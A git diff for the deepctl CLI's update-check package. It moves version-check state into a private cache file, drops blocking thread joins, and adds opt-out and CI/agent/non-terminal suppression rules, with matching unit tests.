diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
index 10743c6d..675393ec 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/command.py
@@ -153,15 +153,8 @@ def handle(
         detector = InstallationDetector()
         install_info = detector.detect()
 
-        # Store installation info for future use — serialize enum to its string value
-        config._set_config_value(
-            "update.installation_method", install_info.method.value
-        )
-        config._set_config_value("update.installation_path", install_info.path)
-        config.save(implicit=True)
-
         # Display installation info
-        console.print(f"Installation method: [cyan]{install_info.method}[/cyan]")
+        console.print(f"Installation method: [cyan]{install_info.method.value}[/cyan]")
         console.print(f"Installation path: [dim]{install_info.path}[/dim]")
         if install_info.virtual_env:
             console.print("[yellow]Virtual environment detected[/yellow]")
@@ -219,10 +212,6 @@ def handle(
                     f"Successfully updated to version {version_info.latest_version}"
                 )
 
-                # Clear version cache
-                config._set_config_value("update.cached_version_info", None)
-                config.save(implicit=True)
-
                 return UpdateResult(
                     success=True,
                     message=f"Successfully updated to version {version_info.latest_version}",
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
index e490cb3b..d4783964 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/plugin_update_check.py
@@ -2,7 +2,10 @@
 
 Discovers community plugins (excluding first-party packages) and checks
 PyPI for newer versions.  Runs in a daemon thread alongside the core
-update check and prints notifications to stderr after CLI execution.
+update check, under the same rules: skipped when the core check is,
+at most once per interval with its state in
+``<cache>/plugin-update-check.json``, and its notice prints after CLI
+execution only if the thread already finished (dg never waits for it).
 """
 
 from __future__ import annotations
@@ -10,19 +13,17 @@
 import importlib.metadata
 import sys
 import threading
-import time
-from pathlib import Path
 from typing import Any
 
-from .startup_check import _get_check_interval_seconds, _is_ci, _is_oneshot
+from . import check_cache
+from .startup_check import _get_check_interval_seconds, suppressed
+
+THREAD_NAME = "deepctl-plugin-update-check"
 
 # ---------------------------------------------------------------------------
 # Constants
 # ---------------------------------------------------------------------------
 
-_CACHE_DIR = Path.home() / ".cache" / "deepctl"
-_PLUGIN_CACHE_FILE = _CACHE_DIR / "last_plugin_version_check"
-
 # First-party packages are version-locked to deepctl — never check these.
 _EXCLUDED_PREFIXES = ("deepctl-cmd-", "deepctl-core", "deepctl-shared-")
 _EXCLUDED_EXACT = frozenset({"deepctl", "deepctl-plugin-example"})
@@ -42,27 +43,6 @@ def _is_excluded(name: str) -> bool:
     return any(name.startswith(prefix) for prefix in _EXCLUDED_PREFIXES)
 
 
-def _read_plugin_cache_timestamp() -> float:
-    """Read the last plugin-check timestamp from the cache file.
-
-    Returns:
-        Unix timestamp of the last check, or ``0.0`` if not available.
-    """
-    try:
-        return float(_PLUGIN_CACHE_FILE.read_text().strip())
-    except (FileNotFoundError, ValueError, OSError):
-        return 0.0
-
-
-def _write_plugin_cache_timestamp() -> None:
-    """Persist the current time to the plugin cache file."""
-    try:
-        _CACHE_DIR.mkdir(parents=True, exist_ok=True)
-        _PLUGIN_CACHE_FILE.write_text(str(time.time()))
-    except OSError:
-        pass
-
-
 # ---------------------------------------------------------------------------
 # Discovery
 # ---------------------------------------------------------------------------
@@ -131,9 +111,13 @@ def _discover_community_plugins() -> dict[str, str]:
 
 def _check_pypi_versions(
     plugins: dict[str, str],
+    record: bool = False,
 ) -> list[dict[str, str]]:
     """Query PyPI for each plugin and return those with available updates.
 
+    With ``record``, the attempt is saved once the client is built, just
+    before the first request goes out.
+
     Returns:
         List of ``{"name": ..., "current": ..., "latest": ...}`` dicts
         for plugins where a newer version exists on PyPI.
@@ -148,6 +132,10 @@ def _check_pypi_versions(
         from packaging import version as pkg_version
 
         with httpx.Client(timeout=5.0) as client:
+            if record:
+                check_cache.write(
+                    check_cache.PLUGIN_FILE, ok=False, latest=None, source="pypi"
+                )
             for name, current_ver in list(plugins.items())[:_MAX_PLUGINS_TO_CHECK]:
                 try:
                     resp = client.get(f"https://pypi.org/pypi/{name}/json")
@@ -177,19 +165,21 @@ def _check_pypi_versions(
 
 
 def _background_plugin_check(result: dict[str, Any]) -> None:
-    """Run plugin discovery + PyPI check (called inside a daemon thread)."""
+    """Run plugin discovery + PyPI check (called inside a daemon thread).
+
+    The attempt is saved just before the first request goes out (see
+    :func:`_check_pypi_versions`), so one that fails or never finishes still
+    counts as this interval's check, while a run that ends before then
+    doesn't.
+    """
     try:
         plugins = _discover_community_plugins()
-        if not plugins:
-            return
-
-        updates = _check_pypi_versions(plugins)
-        if updates:
-            result["updates"] = updates
-
-        _write_plugin_cache_timestamp()
+        updates = _check_pypi_versions(plugins, record=True) if plugins else []
     except Exception:
-        pass
+        return
+    check_cache.write(check_cache.PLUGIN_FILE, ok=True, latest=None, source="pypi")
+    if updates:
+        result["updates"] = updates
 
 
 # ---------------------------------------------------------------------------
@@ -216,22 +206,27 @@ def check_plugins_and_notify(quiet: bool = False) -> None:
         quiet: If True, suppress the check entirely.
     """
     global _thread, _result
+    _thread = None
     _result = {}
 
-    if quiet or _is_ci() or _is_oneshot():
+    if suppressed(quiet):
         return
 
     interval = _get_check_interval_seconds(quiet)
     if interval is None:
         return
 
-    last_check = _read_plugin_cache_timestamp()
-    if time.time() - last_check < interval:
+    # A cache directory that can't be made private: no check, no state.
+    if not check_cache.usable():
+        return
+
+    if not check_cache.due(check_cache.PLUGIN_FILE, interval):
         return
 
     _thread = threading.Thread(
         target=_background_plugin_check,
         args=(_result,),
+        name=THREAD_NAME,
         daemon=True,
     )
     _thread.start()
@@ -240,18 +235,16 @@ def check_plugins_and_notify(quiet: bool = False) -> None:
 def print_pending_plugin_notifications() -> None:
     """Print plugin update notifications if any are pending.
 
-    Call this **after** CLI execution completes.  It joins the background
-    thread (with a short timeout) and, if updates were found, prints
-    ANSI-colored lines to stderr.
+    Call this **after** CLI execution completes.  It never waits: if the
+    thread already finished and found updates, it prints ANSI-colored
+    lines to stderr; a check that is still running is dropped.
     """
     global _thread
 
-    if _thread is None:
+    thread, _thread = _thread, None
+    if thread is None or thread.is_alive():
         return
 
-    _thread.join(timeout=3.0)
-    _thread = None
-
     updates = _result.get("updates")
     if not updates:
         return
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
index 889bab17..9d6693db 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/startup_check.py
@@ -1,8 +1,23 @@
 """Background startup update check for deepctl.
 
-Runs a non-intrusive version check in a daemon thread during normal CLI
-execution, then prints a one-line notification to stderr *after* the
-command output completes.
+Runs a version check in a daemon thread while the command runs. When the
+command is done, a one-line notice goes to stderr only if the thread has
+already finished; dg never waits for it. A check that hasn't finished is
+dropped, and the interpreter stops the thread at exit.
+
+The check runs at most once per interval (daily by default). Its state lives
+in ``<cache>/update-check.json`` (``check_cache``), written just before the
+request goes out and again with the answer, so a failing or slow index is
+tried again only after a full interval. When no check is due and the saved
+answer names a newer version, the notice prints from it, at most once per
+interval (``notified_at``), so an answer that came in too late for its own
+run still reaches the person. The user config file is never written. When
+the cache directory can't be made private, the check doesn't run at all.
+
+The check is skipped entirely under ``--quiet``, in CI, in an AI agent or
+other non-interactive session, under ``dg mcp``, when stderr isn't a
+terminal, for one-shot runs (uvx, pipx run, npx) and when
+``DEEPCTL_NO_UPDATE_CHECK`` is set.
 """
 
 from __future__ import annotations
@@ -11,12 +26,13 @@
 import os
 import sys
 import threading
-import time
-from pathlib import Path
 from typing import Any
 
-# Sentinel used when the background check is suppressed or has no result
-_NO_RESULT: dict[str, Any] = {}
+from . import check_cache
+
+PYPI_URL = "https://pypi.org/pypi/deepctl/json"
+NO_UPDATE_CHECK_ENV_VAR = "DEEPCTL_NO_UPDATE_CHECK"
+THREAD_NAME = "deepctl-update-check"
 
 # Environment variables that indicate a CI environment
 _CI_ENV_VARS = (
@@ -31,11 +47,6 @@
     "CODEBUILD_BUILD_ID",
 )
 
-# Cache file for last-check timestamp (separate from YAML config to
-# avoid race conditions)
-_CACHE_DIR = Path.home() / ".cache" / "deepctl"
-_CACHE_FILE = _CACHE_DIR / "last_version_check"
-
 
 def _is_ci() -> bool:
     """Return True if running inside a CI environment."""
@@ -48,31 +59,67 @@ def _is_oneshot() -> bool:
     if "UV_INTERNAL__PARENT_INTERPRETER" in os.environ:
         return True
     # pipx run
+    from pathlib import Path
+
     exe_path = str(Path(sys.executable).resolve())
     pipx_home = os.environ.get("PIPX_HOME", str(Path.home() / ".local" / "pipx"))
     pipx_cache = str(Path(pipx_home) / ".cache")
     return bool(exe_path.startswith(pipx_cache))
 
 
-def _read_cache_timestamp() -> float:
-    """Read the last-check timestamp from the cache file.
+def _opted_out() -> bool:
+    """``DEEPCTL_NO_UPDATE_CHECK`` is set to anything but empty, 0 or false."""
+    value = os.environ.get(NO_UPDATE_CHECK_ENV_VAR, "").strip().lower()
+    return value not in ("", "0", "false", "no")
 
-    Returns:
-        Unix timestamp of the last check, or ``0.0`` if not available.
-    """
+
+def _stderr_is_terminal() -> bool:
     try:
-        return float(_CACHE_FILE.read_text().strip())
-    except (FileNotFoundError, ValueError, OSError):
-        return 0.0
+        return bool(sys.stderr is not None and sys.stderr.isatty())
+    except (AttributeError, OSError, ValueError):
+        return False
 
 
-def _write_cache_timestamp() -> None:
-    """Persist the current time to the cache file."""
+def _is_agent() -> bool:
+    """An AI agent or another non-interactive session (deepctl_core's rules)."""
     try:
-        _CACHE_DIR.mkdir(parents=True, exist_ok=True)
-        _CACHE_FILE.write_text(str(time.time()))
-    except OSError:
-        pass
+        from deepctl_core.output import is_agentic, is_ai_agent
+    except ImportError:
+        return False
+    return is_agentic() or is_ai_agent()
+
+
+def _subcommand() -> str | None:
+    """The command this run executes (``mcp`` for ``dg -q mcp``), if known."""
+    cli = sys.modules.get("deepctl._cli")
+    args = getattr(cli, "_run_args", None)
+    if args is None:
+        args = sys.argv[1:]
+    try:
+        flag_opts = cli._root_flag_opts() if cli is not None else set()
+        i = 0
+        while i < len(args) and args[i].startswith("-"):
+            takes_value = cli is not None and cli._takes_next_token(args[i], flag_opts)
+            i += 2 if takes_value else 1
+    except Exception:
+        return None
+    return args[i] if i < len(args) else None
+
+
+def suppressed(quiet: bool) -> bool:
+    """Whether this run must not check for updates at all.
+
+    Shared by the plugin-update check. Cheap: no config or network access.
+    """
+    return (
+        quiet
+        or _opted_out()
+        or _is_ci()
+        or not _stderr_is_terminal()
+        or _is_agent()
+        or _is_oneshot()
+        or _subcommand() == "mcp"
+    )
 
 
 def _get_check_interval_seconds(quiet: bool) -> float | None:
@@ -101,43 +148,78 @@ def _get_check_interval_seconds(quiet: bool) -> float | None:
 
 
 def _background_check(current_version: str, result: dict[str, Any]) -> None:
-    """Run the version check synchronously (called inside a thread)."""
+    """Run the version check synchronously (called inside a thread).
+
+    The attempt is saved just before the request goes out, so one that
+    fails or never finishes still counts as this interval's check, while a
+    run that ends before the request (imports take a while) doesn't.
+    """
     try:
+        # httpx loads here, in the thread, never on the main path. Building
+        # the client (CA bundle, proxy settings) also comes before the record.
         import httpx
-
-        response = httpx.get(
-            "https://pypi.org/pypi/deepctl/json",
-            timeout=5.0,
-        )
-        response.raise_for_status()
-        data = response.json()
-        latest_version: str = data["info"]["version"]
-
         from packaging import version as pkg_version
 
-        current = pkg_version.parse(current_version)
-        latest = pkg_version.parse(latest_version)
+        client = httpx.Client(timeout=5.0)
+    except Exception:
+        return
+    with client:
+        check_cache.write(check_cache.UPDATE_FILE, ok=False, latest=None, source="pypi")
+        try:
+            response = client.get(PYPI_URL)
+            response.raise_for_status()
+            latest_version = response.json()["info"]["version"]
+            if not isinstance(latest_version, str):
+                return
+            newer = pkg_version.parse(latest_version) > pkg_version.parse(
+                current_version
+            )
+        except Exception:
+            # Best effort: the failure is already recorded above.
+            return
 
-        if latest > current:
-            result["latest"] = latest_version
-            result["current"] = current_version
+    check_cache.write(
+        check_cache.UPDATE_FILE, ok=True, latest=latest_version, source="pypi"
+    )
+    if newer:
+        result["latest"] = latest_version
+        result["current"] = current_version
+
+
+def _newer_saved(
+    state: dict[str, Any] | None, current_version: str, interval: float
+) -> tuple[str, str] | None:
+    """``(current, latest)`` when the saved answer names a newer version
+    whose notice wasn't shown within ``interval``."""
+    if not state or state.get("ok") is not True:
+        return None
+    latest = state.get("latest")
+    if not isinstance(latest, str):
+        return None
+    if not check_cache.elapsed(check_cache.notified_at(state), interval):
+        return None
+    try:
+        from packaging import version as pkg_version
 
-        _write_cache_timestamp()
+        if pkg_version.parse(latest) <= pkg_version.parse(current_version):
+            return None
     except Exception:
-        # Silently swallow — this is best-effort
-        pass
+        return None
+    return current_version, latest
 
 
 # Module-level state for the background thread
 _thread: threading.Thread | None = None
 _result: dict[str, Any] = {}
+# A notice from the saved answer, when no check ran this time.
+_saved_notice: tuple[str, str] | None = None
 
 
 def check_and_notify(
     current_version: str | None = None,
     quiet: bool = False,
 ) -> None:
-    """Start a background version check.
+    """Start a background version check, unless this run skips it.
 
     Call this **before** CLI execution. It spawns a daemon thread that
     runs concurrently. Call :func:`print_pending_notification` after CLI
@@ -148,20 +230,20 @@ def check_and_notify(
             detected automatically from package metadata.
         quiet: If True, suppress the check entirely.
     """
-    global _thread, _result
+    global _thread, _result, _saved_notice
+    _thread = None
     _result = {}
+    _saved_notice = None
 
-    # Suppress in quiet mode, CI, or one-shot execution
-    if quiet or _is_ci() or _is_oneshot():
+    if suppressed(quiet):
         return
 
-    # Check interval
     interval = _get_check_interval_seconds(quiet)
     if interval is None:
         return
 
-    last_check = _read_cache_timestamp()
-    if time.time() - last_check < interval:
+    # A cache directory that can't be made private: no check, no state.
+    if not check_cache.usable():
         return
 
     # Resolve current version
@@ -171,39 +253,50 @@ def check_and_notify(
         except importlib.metadata.PackageNotFoundError:
             return
 
+    state = check_cache.read(check_cache.UPDATE_FILE)
+    if not check_cache.elapsed(check_cache.checked_at(state), interval):
+        _saved_notice = _newer_saved(state, current_version, interval)
+        return
+
     _thread = threading.Thread(
         target=_background_check,
         args=(current_version, _result),
+        name=THREAD_NAME,
         daemon=True,
     )
     _thread.start()
 
 
 def print_pending_notification() -> None:
-    """Print the update notification if one is pending.
+    """Print the update notice if the check already found one.
 
-    Call this **after** CLI execution completes. It joins the background
-    thread (with a short timeout) and, if an update was found, prints a
-    single ANSI-colored line to stderr.
+    Call this **after** CLI execution completes. It never waits: a check
+    that is still running is dropped (its answer, once saved, gives the
+    notice on a later run). Without a check this run, a saved answer that
+    names a newer version prints instead, at most once per interval.
     """
-    global _thread
+    global _thread, _saved_notice
 
-    if _thread is None:
+    thread, _thread = _thread, None
+    notice, _saved_notice = _saved_notice, None
+    if thread is not None:
+        if thread.is_alive():
+            return
+        latest = _result.get("latest")
+        current = _result.get("current")
+        notice = (current, latest) if latest and current else None
+    if notice is None:
         return
 
-    _thread.join(timeout=2.0)
-    _thread = None
-
-    latest = _result.get("latest")
-    current = _result.get("current")
-    if latest and current:
-        try:
-            sys.stderr.write(
-                f"\n\033[33m  Update available:  {current} → {latest}"
-                f"  —  run \033[1mdg update\033[0m\033[33m to upgrade\033[0m\n\n"
-            )
-        except (BrokenPipeError, OSError, ValueError):
-            # The output stream closed (e.g. an MCP host disconnected stdio
-            # after `dg mcp` finished). Nothing useful to do — the notification
-            # is purely advisory.
-            pass
+    current, latest = notice
+    try:
+        sys.stderr.write(
+            f"\n\033[33m  Update available:  {current} → {latest}"
+            f"  —  run \033[1mdg update\033[0m\033[33m to upgrade\033[0m\n\n"
+        )
+    except (BrokenPipeError, OSError, ValueError):
+        # The output stream closed (e.g. an MCP host disconnected stdio
+        # after `dg mcp` finished). Nothing useful to do — the notification
+        # is purely advisory.
+        return
+    check_cache.mark_notified(check_cache.UPDATE_FILE)
diff --git a/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py b/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
index ce3e5df5..f67e39ed 100644
--- a/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
+++ b/packages/deepctl-cmd-update/src/deepctl_cmd_update/version_check.py
@@ -1,11 +1,21 @@
-"""Version checking functionality for deepctl."""
+"""Version checking functionality for deepctl.
+
+The last check's result lives in ``<cache>/update-check.json`` (see
+``check_cache``), shared with the startup check. Versions before 0.5.0 kept
+it in the user config (``update.last_check`` and
+``update.cached_version_info``); those keys are still read while no cache
+file exists, and never written.
+"""
 
 from datetime import datetime, timedelta, timezone
+from typing import Any
 
 from deepctl_core import Config
 from packaging import version
 from pydantic import BaseModel, Field
 
+from . import check_cache
+
 
 class VersionInfo(BaseModel):
     """Version information from PyPI."""
@@ -44,6 +54,8 @@ def __init__(self, config: Config, current_version: str = "0.0.0"):
         """
         self.config = config
         self.current_version = current_version
+        # Where the last successful answer came from ("pypi" or "github").
+        self._source = "pypi"
 
     def _get_cache_duration(self) -> timedelta | None:
         """Get the cache duration based on ``check_frequency`` config.
@@ -80,6 +92,7 @@ async def check_version(
                 return cached_info
 
         # Choose version source
+        self._source = "pypi"
         if install_method == "homebrew":
             version_info = await self._check_github_releases()
         else:
@@ -89,6 +102,10 @@ async def check_version(
             self._cache_info(version_info)
             return version_info
 
+        check_cache.write(
+            check_cache.UPDATE_FILE, ok=False, latest=None, source=self._source
+        )
+
         # On error, return current version with no update
         return VersionInfo(
             current_version=self.current_version,
@@ -174,6 +191,7 @@ async def _check_github_releases(self) -> VersionInfo | None:
                 )
 
             release_notes_url = data.get("html_url")
+            self._source = "github"
 
             current = version.parse(self.current_version)
             latest = version.parse(latest_version)
@@ -188,6 +206,7 @@ async def _check_github_releases(self) -> VersionInfo | None:
             )
         except Exception:
             # Fall back to PyPI on GitHub API failure
+            self._source = "pypi"
             return await self._check_pypi()
 
     def should_check(self) -> bool:
@@ -206,7 +225,14 @@ def should_check(self) -> bool:
             # "never" — always skip
             return False
 
-        # Check last check timestamp
+        state = self._saved_state()
+        if state is not None:
+            elapsed = datetime.now(timezone.utc).timestamp() - check_cache.checked_at(
+                state
+            )
+            return not 0 <= elapsed < cache_duration.total_seconds()
+
+        # No cache file yet: the timestamp older versions kept in the config
         last_check = self.config.get("update.last_check")
         if last_check:
             try:
@@ -222,12 +248,32 @@ def should_check(self) -> bool:
 
         return True
 
+    @staticmethod
+    def _saved_state() -> dict[str, Any] | None:
+        return check_cache.read(check_cache.UPDATE_FILE)
+
     def _get_cached_info(self) -> VersionInfo | None:
-        """Get cached version info from config.
+        """Get the cached version info.
 
         Returns:
             Cached version info or None
         """
+        state = self._saved_state()
+        if state is not None:
+            latest = state.get("latest")
+            if not state.get("ok") or not isinstance(latest, str):
+                return None
+            try:
+                available = version.parse(latest) > version.parse(self.current_version)
+            except version.InvalidVersion:
+                return None
+            return VersionInfo(
+                current_version=self.current_version,
+                latest_version=latest,
+                update_available=available,
+            )
+
+        # No cache file yet: what older versions kept in the config
         cached_data = self.config.get("update.cached_version_info")
         if cached_data:
             try:
@@ -237,18 +283,19 @@ def _get_cached_info(self) -> VersionInfo | None:
         return None
 
     def _cache_info(self, info: VersionInfo) -> None:
-        """Cache version info in config.
+        """Save the answer to the cache file (never to the user config).
 
         Args:
             info: Version info to cache
         """
-        self.config._set_config_value(
-            "update.last_check", datetime.now(timezone.utc).isoformat()
-        )
-        self.config._set_config_value(
-            "update.cached_version_info", info.model_dump(mode="json")
+        if not check_cache.usable():
+            return
+        check_cache.write(
+            check_cache.UPDATE_FILE,
+            ok=True,
+            latest=info.latest_version,
+            source=self._source,
         )
-        self.config.save(implicit=True)
 
 
 def format_version_message(info: VersionInfo) -> str:
diff --git a/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py b/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
index 9de3b700..0c5cbc08 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_plugin_update_check.py
@@ -3,8 +3,6 @@
 import io
 import sys
 import threading
-import time
-from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock, patch
 
@@ -13,12 +11,36 @@
     _check_pypi_versions,
     _discover_community_plugins,
     _is_excluded,
-    _read_plugin_cache_timestamp,
-    _write_plugin_cache_timestamp,
     check_plugins_and_notify,
     print_pending_plugin_notifications,
 )
 
+@pytest.fixture
+def cache_dir(tmp_path, monkeypatch):
+    """dg's cache directory, pointed at a fresh temp dir (not created yet)."""
+    from deepctl import _cache
+
+    root = tmp_path / "cache" / "deepctl"
+    monkeypatch.setattr(_cache, "cache_root", lambda: str(root))
+    return root
+
+
+@pytest.fixture
+def check_allowed(monkeypatch, cache_dir):
+    """A run where the startup checks may start: an interactive person at a
+    terminal, outside CI and ``dg mcp``. Returns the cache directory."""
+    import deepctl_cmd_update.startup_check as core
+
+    monkeypatch.delenv(core.NO_UPDATE_CHECK_ENV_VAR, raising=False)
+    monkeypatch.setattr(core, "_is_ci", lambda: False)
+    monkeypatch.setattr(core, "_stderr_is_terminal", lambda: True)
+    monkeypatch.setattr(core, "_is_agent", lambda: False)
+    monkeypatch.setattr(core, "_is_oneshot", lambda: False)
+    monkeypatch.setattr(core, "_subcommand", lambda: None)
+    monkeypatch.setattr(core, "_get_check_interval_seconds", lambda quiet: 86400.0)
+    return cache_dir
+
+
 # ---------------------------------------------------------------------------
 # _is_excluded
 # ---------------------------------------------------------------------------
@@ -49,39 +71,6 @@ def test_arbitrary_community_plugin_not_excluded(self):
         assert _is_excluded("my-deepctl-addon") is False
 
 
-# ---------------------------------------------------------------------------
-# Cache timestamp
-# ---------------------------------------------------------------------------
-
-
-class TestPluginCacheTimestamp:
-    """Test file-based plugin cache timestamp."""
-
-    def test_read_missing_returns_zero(self, tmp_path):
-        with patch(
-            "deepctl_cmd_update.plugin_update_check._PLUGIN_CACHE_FILE",
-            tmp_path / "nonexistent",
-        ):
-            assert _read_plugin_cache_timestamp() == 0.0
-
-    def test_write_then_read_roundtrip(self, tmp_path):
-        cache_file = tmp_path / "last_plugin_version_check"
-        with (
-            patch(
-                "deepctl_cmd_update.plugin_update_check._PLUGIN_CACHE_FILE",
-                cache_file,
-            ),
-            patch(
-                "deepctl_cmd_update.plugin_update_check._CACHE_DIR",
-                tmp_path,
-            ),
-        ):
-            _write_plugin_cache_timestamp()
-            ts = _read_plugin_cache_timestamp()
-            assert ts > 0.0
-            assert abs(ts - time.time()) < 5.0
-
-
 # ---------------------------------------------------------------------------
 # Discovery
 # ---------------------------------------------------------------------------
@@ -254,43 +243,45 @@ def test_empty_plugins_returns_empty(self):
 class TestCheckPluginsAndNotify:
     """Test the plugin check lifecycle."""
 
-    @patch.dict("os.environ", {"CI": "true"}, clear=False)
-    def test_suppressed_in_ci(self):
+    @pytest.fixture(autouse=True)
+    def _reset(self):
         import deepctl_cmd_update.plugin_update_check as mod
 
         mod._thread = None
         mod._result = {}
+        yield
+        if mod._thread is not None:
+            mod._thread.join(timeout=5.0)
+        mod._thread = None
+
+    def test_suppressed_with_the_core_check(self, check_allowed, monkeypatch):
+        import deepctl_cmd_update.plugin_update_check as mod
+        import deepctl_cmd_update.startup_check as core
+
+        monkeypatch.setattr(core, "_stderr_is_terminal", lambda: False)
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_plugins_and_notify()
+        thread_cls.assert_not_called()
+        assert not check_allowed.exists()
+
+    def test_suppressed_in_ci(self, check_allowed, monkeypatch):
+        import deepctl_cmd_update.plugin_update_check as mod
+        import deepctl_cmd_update.startup_check as core
+
+        monkeypatch.setattr(core, "_is_ci", lambda: True)
         check_plugins_and_notify()
         assert mod._thread is None
 
-    def test_suppressed_in_quiet_mode(self):
+    def test_suppressed_in_quiet_mode(self, check_allowed):
         import deepctl_cmd_update.plugin_update_check as mod
 
-        mod._thread = None
-        mod._result = {}
         check_plugins_and_notify(quiet=True)
         assert mod._thread is None
 
-    @patch("deepctl_cmd_update.plugin_update_check._is_ci", return_value=False)
-    @patch(
-        "deepctl_cmd_update.plugin_update_check._is_oneshot",
-        return_value=False,
-    )
-    @patch(
-        "deepctl_cmd_update.plugin_update_check._get_check_interval_seconds",
-        return_value=86400.0,
-    )
-    @patch(
-        "deepctl_cmd_update.plugin_update_check._read_plugin_cache_timestamp",
-        return_value=0.0,
-    )
-    def test_fresh_cache_spawns_thread(self, *_mocks):
-        """Cache expired → thread should be spawned."""
+    def test_due_spawns_thread(self, check_allowed):
+        """No check within the interval → thread should be spawned."""
         import deepctl_cmd_update.plugin_update_check as mod
 
-        mod._thread = None
-        mod._result = {}
-
         with patch(
             "deepctl_cmd_update.plugin_update_check._background_plugin_check",
             side_effect=lambda res: None,
@@ -298,30 +289,45 @@ def test_fresh_cache_spawns_thread(self, *_mocks):
             check_plugins_and_notify()
             assert mod._thread is not None
             assert mod._thread.daemon is True
-            mod._thread.join(timeout=2.0)
+            assert mod._thread.name == mod.THREAD_NAME
 
-    @patch("deepctl_cmd_update.plugin_update_check._is_ci", return_value=False)
-    @patch(
-        "deepctl_cmd_update.plugin_update_check._is_oneshot",
-        return_value=False,
-    )
-    @patch(
-        "deepctl_cmd_update.plugin_update_check._get_check_interval_seconds",
-        return_value=86400.0,
-    )
-    def test_fresh_cache_suppresses_thread(self, *_mocks):
-        """Cache still fresh → no thread should be spawned."""
+    def test_failure_waits_a_day(self, check_allowed):
+        """A failed check is recorded; the next run makes no attempt."""
         import deepctl_cmd_update.plugin_update_check as mod
+        from deepctl_cmd_update import check_cache
 
-        mod._thread = None
-        mod._result = {}
+        seen = {}
 
-        with patch(
-            "deepctl_cmd_update.plugin_update_check._read_plugin_cache_timestamp",
-            return_value=time.time(),  # just checked
+        def unreachable(*args, **kwargs):
+            seen["state"] = check_cache.read(check_cache.PLUGIN_FILE)
+            raise OSError("unreachable")
+
+        with (
+            patch.object(
+                mod, "_discover_community_plugins", return_value={"deepctl-x": "1"}
+            ),
+            patch("httpx.Client.get", side_effect=unreachable),
         ):
             check_plugins_and_notify()
-            assert mod._thread is None
+            mod._thread.join(timeout=5.0)
+        # Recorded before the request went out.
+        assert seen["state"] is not None and seen["state"]["ok"] is False
+        assert check_cache.read(check_cache.PLUGIN_FILE) is not None
+
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_plugins_and_notify()
+        thread_cls.assert_not_called()
+
+    def test_success_is_recorded(self, check_allowed):
+        import deepctl_cmd_update.plugin_update_check as mod
+        from deepctl_cmd_update import check_cache
+
+        with patch.object(mod, "_discover_community_plugins", return_value={}):
+            check_plugins_and_notify()
+            mod._thread.join(timeout=5.0)
+        state = check_cache.read(check_cache.PLUGIN_FILE)
+        assert state is not None and state["ok"] is True
+        assert check_cache.read(check_cache.UPDATE_FILE) is None
 
 
 # ---------------------------------------------------------------------------
@@ -436,20 +442,63 @@ def test_no_updates_no_output(self, capsys):
         captured = capsys.readouterr()
         assert captured.err == ""
 
-    def test_thread_timeout_handling(self):
-        """If the thread is still running after timeout, no crash."""
+    def test_running_check_is_dropped_without_waiting(self):
+        """A check still running at exit is never joined."""
         import deepctl_cmd_update.plugin_update_check as mod
 
-        # Create a thread that would take longer than the timeout
-        mod._result = {}
-        mod._thread = threading.Thread(target=lambda: time.sleep(10), daemon=True)
-        mod._thread.start()
+        release = threading.Event()
+        mod._result = {
+            "updates": [{"name": "deepctl-plugin-x", "current": "1", "latest": "2"}]
+        }
+        thread = threading.Thread(target=release.wait, daemon=True)
+        thread.start()
+        mod._thread = thread
+        try:
+            with patch.object(thread, "join") as join:
+                stderr_capture = io.StringIO()
+                with patch.object(sys, "stderr", stderr_capture):
+                    print_pending_plugin_notifications()
+            join.assert_not_called()
+            assert stderr_capture.getvalue() == ""
+            assert mod._thread is None
+        finally:
+            release.set()
+            thread.join(timeout=5.0)
+
 
-        # Should not raise — just returns with no output
-        with patch.object(mod._thread, "join", side_effect=lambda timeout=None: None):
-            stderr_capture = io.StringIO()
-            with patch.object(sys, "stderr", stderr_capture):
-                print_pending_plugin_notifications()
 
-            output = stderr_capture.getvalue()
-            assert output == ""
+class TestPluginAttemptRecording:
+    @pytest.fixture(autouse=True)
+    def _reset(self):
+        import deepctl_cmd_update.plugin_update_check as mod
+
+        mod._thread = None
+        yield
+        if mod._thread is not None:
+            mod._thread.join(timeout=5.0)
+        mod._thread = None
+
+    def test_nothing_recorded_before_the_request(self, check_allowed, monkeypatch):
+        """A failure before any request (here: discovery) uses up nothing."""
+        import deepctl_cmd_update.plugin_update_check as mod
+
+        with patch.object(
+            mod, "_discover_community_plugins", side_effect=RuntimeError("boom")
+        ):
+            check_plugins_and_notify()
+            mod._thread.join(timeout=5.0)
+        assert not (check_allowed / "plugin-update-check.json").exists()
+
+    def test_unusable_cache_dir_skips(self, check_allowed, monkeypatch):
+        import os
+
+        import deepctl_cmd_update.plugin_update_check as mod
+        from deepctl_cmd_update import check_cache
+
+        check_allowed.mkdir(parents=True, mode=0o755)
+        monkeypatch.setattr(
+            check_cache.os, "getuid", lambda: os.stat(check_allowed).st_uid + 1
+        )
+        with patch.object(mod.threading, "Thread") as thread_cls:
+            check_plugins_and_notify()
+        thread_cls.assert_not_called()
diff --git a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
index 8d3962c5..531e6ffa 100644
--- a/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
+++ b/packages/deepctl-cmd-update/tests/unit/test_startup_check.py
